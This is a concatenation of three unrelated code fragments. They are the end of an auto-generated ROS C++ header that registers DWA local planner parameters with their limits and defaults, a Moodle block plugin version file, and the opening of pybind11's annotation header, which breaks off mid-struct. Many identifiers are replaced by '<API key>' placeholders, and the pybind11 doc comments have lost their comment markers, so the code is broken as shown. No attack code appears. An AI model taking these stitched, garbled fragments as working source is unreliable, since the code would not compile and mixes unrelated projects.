Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("acc_lim_y", "double", 0, "The acceleration limit of the robot in the y direction", "", &DWAPlannerConfig::acc_lim_y)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("acc_lim_y", "double", 0, "The acceleration limit of the robot in the y direction", "", &DWAPlannerConfig::acc_lim_y)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.acc_lim_theta = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.acc_lim_theta = 20.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.acc_lim_theta = 3.2;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("acc_lim_theta", "double", 0, "The acceleration limit of the robot in the theta direction", "", &DWAPlannerConfig::acc_lim_theta)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("acc_lim_theta", "double", 0, "The acceleration limit of the robot in the theta direction", "", &DWAPlannerConfig::acc_lim_theta)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.acc_limit_trans = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.acc_limit_trans = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.acc_limit_trans = 0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("acc_limit_trans", "double", 0, "The absolute value of the maximum translational acceleration for the robot in m/s^2", "", &DWAPlannerConfig::acc_limit_trans)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("acc_limit_trans", "double", 0, "The absolute value of the maximum translational acceleration for the robot in m/s^2", "", &DWAPlannerConfig::acc_limit_trans)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.prune_plan = 0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.prune_plan = 1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.prune_plan = 0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<bool>("prune_plan", "bool", 0, "Start following closest point of global plan, not first point (if different).", "", &DWAPlannerConfig::prune_plan)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<bool>("prune_plan", "bool", 0, "Start following closest point of global plan, not first point (if different).", "", &DWAPlannerConfig::prune_plan)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.xy_goal_tolerance = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.xy_goal_tolerance = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.xy_goal_tolerance = 0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("xy_goal_tolerance", "double", 0, "Within what maximum distance we consider the robot to be in goal", "", &DWAPlannerConfig::xy_goal_tolerance)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("xy_goal_tolerance", "double", 0, "Within what maximum distance we consider the robot to be in goal", "", &DWAPlannerConfig::xy_goal_tolerance)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.yaw_goal_tolerance = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.yaw_goal_tolerance = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.yaw_goal_tolerance = 0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("yaw_goal_tolerance", "double", 0, "Within what maximum angle difference we consider the robot to face goal direction", "", &DWAPlannerConfig::yaw_goal_tolerance)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("yaw_goal_tolerance", "double", 0, "Within what maximum angle difference we consider the robot to face goal direction", "", &DWAPlannerConfig::yaw_goal_tolerance)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.trans_stopped_vel = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.trans_stopped_vel = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.trans_stopped_vel = 0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("trans_stopped_vel", "double", 0, "Below what maximum velocity we consider the robot to be stopped in translation", "", &DWAPlannerConfig::trans_stopped_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("trans_stopped_vel", "double", 0, "Below what maximum velocity we consider the robot to be stopped in translation", "", &DWAPlannerConfig::trans_stopped_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.rot_stopped_vel = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.rot_stopped_vel = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.rot_stopped_vel = 0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("rot_stopped_vel", "double", 0, "Below what maximum rotation velocity we consider the robot to be stopped in rotation", "", &DWAPlannerConfig::rot_stopped_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("rot_stopped_vel", "double", 0, "Below what maximum rotation velocity we consider the robot to be stopped in rotation", "", &DWAPlannerConfig::rot_stopped_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.sim_time = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.sim_time = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.sim_time = 1.7;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("sim_time", "double", 0, "The amount of time to roll trajectories out for in seconds", "", &DWAPlannerConfig::sim_time)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("sim_time", "double", 0, "The amount of time to roll trajectories out for in seconds", "", &DWAPlannerConfig::sim_time)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.sim_granularity = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.sim_granularity = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.sim_granularity = 0.025;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("sim_granularity", "double", 0, "The granularity with which to check for collisions along each trajectory in meters", "", &DWAPlannerConfig::sim_granularity)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("sim_granularity", "double", 0, "The granularity with which to check for collisions along each trajectory in meters", "", &DWAPlannerConfig::sim_granularity)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.<API key> = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.<API key> = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.<API key> = 0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("<API key>", "double", 0, "The granularity with which to check for collisions for rotations in radians", "", &DWAPlannerConfig::<API key>)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("<API key>", "double", 0, "The granularity with which to check for collisions for rotations in radians", "", &DWAPlannerConfig::<API key>)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.path_distance_bias = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.path_distance_bias = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.path_distance_bias = 32.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("path_distance_bias", "double", 0, "The weight for the path distance part of the cost function", "", &DWAPlannerConfig::path_distance_bias)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("path_distance_bias", "double", 0, "The weight for the path distance part of the cost function", "", &DWAPlannerConfig::path_distance_bias)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.goal_distance_bias = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.goal_distance_bias = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.goal_distance_bias = 24.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("goal_distance_bias", "double", 0, "The weight for the goal distance part of the cost function", "", &DWAPlannerConfig::goal_distance_bias)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("goal_distance_bias", "double", 0, "The weight for the goal distance part of the cost function", "", &DWAPlannerConfig::goal_distance_bias)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.occdist_scale = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.occdist_scale = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.occdist_scale = 0.01;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("occdist_scale", "double", 0, "The weight for the obstacle distance part of the cost function", "", &DWAPlannerConfig::occdist_scale)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("occdist_scale", "double", 0, "The weight for the obstacle distance part of the cost function", "", &DWAPlannerConfig::occdist_scale)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.stop_time_buffer = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.stop_time_buffer = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.stop_time_buffer = 0.2;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("stop_time_buffer", "double", 0, "The amount of time that the robot must stop before a collision in order for a trajectory to be considered valid in seconds", "", &DWAPlannerConfig::stop_time_buffer)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("stop_time_buffer", "double", 0, "The amount of time that the robot must stop before a collision in order for a trajectory to be considered valid in seconds", "", &DWAPlannerConfig::stop_time_buffer)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.<API key> = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.<API key> = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.<API key> = 0.05;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("<API key>", "double", 0, "The distance the robot must travel before oscillation flags are reset, in meters", "", &DWAPlannerConfig::<API key>)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("<API key>", "double", 0, "The distance the robot must travel before oscillation flags are reset, in meters", "", &DWAPlannerConfig::<API key>)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.<API key> = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.<API key> = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.<API key> = 0.2;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("<API key>", "double", 0, "The angle the robot must turn before oscillation flags are reset, in radians", "", &DWAPlannerConfig::<API key>)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("<API key>", "double", 0, "The angle the robot must turn before oscillation flags are reset, in radians", "", &DWAPlannerConfig::<API key>)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.<API key> = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.<API key> = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.<API key> = 0.325;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("<API key>", "double", 0, "The distance from the center point of the robot to place an additional scoring point, in meters", "", &DWAPlannerConfig::<API key>)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("<API key>", "double", 0, "The distance from the center point of the robot to place an additional scoring point, in meters", "", &DWAPlannerConfig::<API key>)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.scaling_speed = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.scaling_speed = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.scaling_speed = 0.25;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("scaling_speed", "double", 0, "The absolute value of the velocity at which to start scaling the robot's footprint, in m/s", "", &DWAPlannerConfig::scaling_speed)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("scaling_speed", "double", 0, "The absolute value of the velocity at which to start scaling the robot's footprint, in m/s", "", &DWAPlannerConfig::scaling_speed)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.max_scaling_factor = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.max_scaling_factor = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.max_scaling_factor = 0.2;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("max_scaling_factor", "double", 0, "The maximum factor to scale the robot's footprint by", "", &DWAPlannerConfig::max_scaling_factor)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("max_scaling_factor", "double", 0, "The maximum factor to scale the robot's footprint by", "", &DWAPlannerConfig::max_scaling_factor)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.vx_samples = 1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.vx_samples = 2147483647;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.vx_samples = 3;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<int>("vx_samples", "int", 0, "The number of samples to use when exploring the x velocity space", "", &DWAPlannerConfig::vx_samples)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<int>("vx_samples", "int", 0, "The number of samples to use when exploring the x velocity space", "", &DWAPlannerConfig::vx_samples)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.vy_samples = 1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.vy_samples = 2147483647;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.vy_samples = 10;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<int>("vy_samples", "int", 0, "The number of samples to use when exploring the y velocity space", "", &DWAPlannerConfig::vy_samples)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<int>("vy_samples", "int", 0, "The number of samples to use when exploring the y velocity space", "", &DWAPlannerConfig::vy_samples)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.vth_samples = 1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.vth_samples = 2147483647;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.vth_samples = 20;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<int>("vth_samples", "int", 0, "The number of samples to use when exploring the theta velocity space", "", &DWAPlannerConfig::vth_samples)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<int>("vth_samples", "int", 0, "The number of samples to use when exploring the theta velocity space", "", &DWAPlannerConfig::vth_samples)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.use_dwa = 0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.use_dwa = 1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.use_dwa = 1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<bool>("use_dwa", "bool", 0, "Use dynamic window approach to constrain sampling velocities to small window.", "", &DWAPlannerConfig::use_dwa)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<bool>("use_dwa", "bool", 0, "Use dynamic window approach to constrain sampling velocities to small window.", "", &DWAPlannerConfig::use_dwa)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.restore_defaults = 0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.restore_defaults = 1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.restore_defaults = 0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<bool>("restore_defaults", "bool", 0, "Restore to the original configuration.", "", &DWAPlannerConfig::restore_defaults)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<bool>("restore_defaults", "bool", 0, "Restore to the original configuration.", "", &DWAPlannerConfig::restore_defaults)));
//#line 233 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.convertParams();
//#line 233 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::GroupDescription<DWAPlannerConfig::DEFAULT, DWAPlannerConfig>(Default)));
//#line 353 "/opt/ros/indigo/share/dynamic_reconfigure/cmake/../templates/ConfigType.h.template"
for (std::vector<DWAPlannerConfig::<API key>>::const_iterator i = <API key>.begin(); i != <API key>.end(); ++i)
{
<API key>.groups.push_back(**i);
}
__max__.__toMessage__(<API key>.max, <API key>, <API key>);
__min__.__toMessage__(<API key>.min, <API key>, <API key>);
__default__.__toMessage__(<API key>.dflt, <API key>, <API key>);
}
std::vector<DWAPlannerConfig::<API key>> <API key>;
std::vector<DWAPlannerConfig::<API key>> <API key>;
DWAPlannerConfig __max__;
DWAPlannerConfig __min__;
DWAPlannerConfig __default__;
dynamic_reconfigure::ConfigDescription <API key>;
static const <API key> *get_instance()
{
// Split this off in a separate function because I know that
// instance will get initialized the first time get_instance is
// called, and I am guaranteeing that get_instance gets called at
// most once.
static <API key> instance;
return &instance;
}
};
inline const dynamic_reconfigure::ConfigDescription &DWAPlannerConfig::<API key>()
{
return __get_statics__()-><API key>;
}
inline const DWAPlannerConfig &DWAPlannerConfig::__getDefault__()
{
return __get_statics__()->__default__;
}
inline const DWAPlannerConfig &DWAPlannerConfig::__getMax__()
{
return __get_statics__()->__max__;
}
inline const DWAPlannerConfig &DWAPlannerConfig::__getMin__()
{
return __get_statics__()->__min__;
}
inline const std::vector<DWAPlannerConfig::<API key>> &DWAPlannerConfig::<API key>()
{
return __get_statics__()-><API key>;
}
inline const std::vector<DWAPlannerConfig::<API key>> &DWAPlannerConfig::<API key>()
{
return __get_statics__()-><API key>;
}
inline const <API key> *DWAPlannerConfig::__get_statics__()
{
const static <API key> *statics;
if (statics) // Common case
return statics;
boost::mutex::scoped_lock lock(dynamic_reconfigure::__init_mutex__);
if (statics) // In case we lost a race.
return statics;
statics = <API key>::get_instance();
return statics;
}
}
#endif // <API key>
|
<?php
// Moodle is free software: you can redistribute it and/or modify
// (at your option) any later version.
// Moodle is distributed in the hope that it will be useful,
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
defined('MOODLE_INTERNAL') || die();
$plugin->version = 2020110900;
$plugin->requires = 2020110300; // Requires this Moodle version
$plugin->component = 'block_tag_flickr'; // Full name of the plugin (used for diagnostics)
|
#pragma once
#include "cast.h"
NAMESPACE_BEGIN(pybind11)
\addtogroup annotations
@{
Annotation for methods
struct is_method { handle class_; is_method(const handle &c) : class_(c) { } };
Annotation for operators
struct is_operator { };
Annotation for parent scope
struct scope { handle value; scope(const handle &s) : value(s) { } };
Annotation for documentation
struct doc { const char *value; doc(const char *value) : value(value) { } };
Annotation for function names
struct name { const char *value; name(const char *value) : value(value) { } };
Annotation indicating that a function is an overload associated with a given "sibling"
struct sibling { handle value; sibling(const handle &value) : value(value.ptr()) { } };
Annotation indicating that a class derives from another given type
template <typename T> struct base {
PYBIND11_DEPRECATED("base<T>() was deprecated in favor of specifying 'T' as a template argument to class_")
base() { }
};
Keep patient alive while nurse lives
template <size_t Nurse, size_t Patient> struct keep_alive { };
Annotation indicating that a class is involved in a multiple inheritance relationship
struct <API key> { };
Annotation which enables dynamic attributes, i.e. adds `__dict__` to a class
struct dynamic_attr { };
Annotation which enables the buffer protocol for a type
struct buffer_protocol { };
Annotation which requests that a special metaclass is created for a type
struct metaclass {
handle value;
PYBIND11_DEPRECATED("py::metaclass() is no longer required. It's turned on by default now.")
metaclass() {}
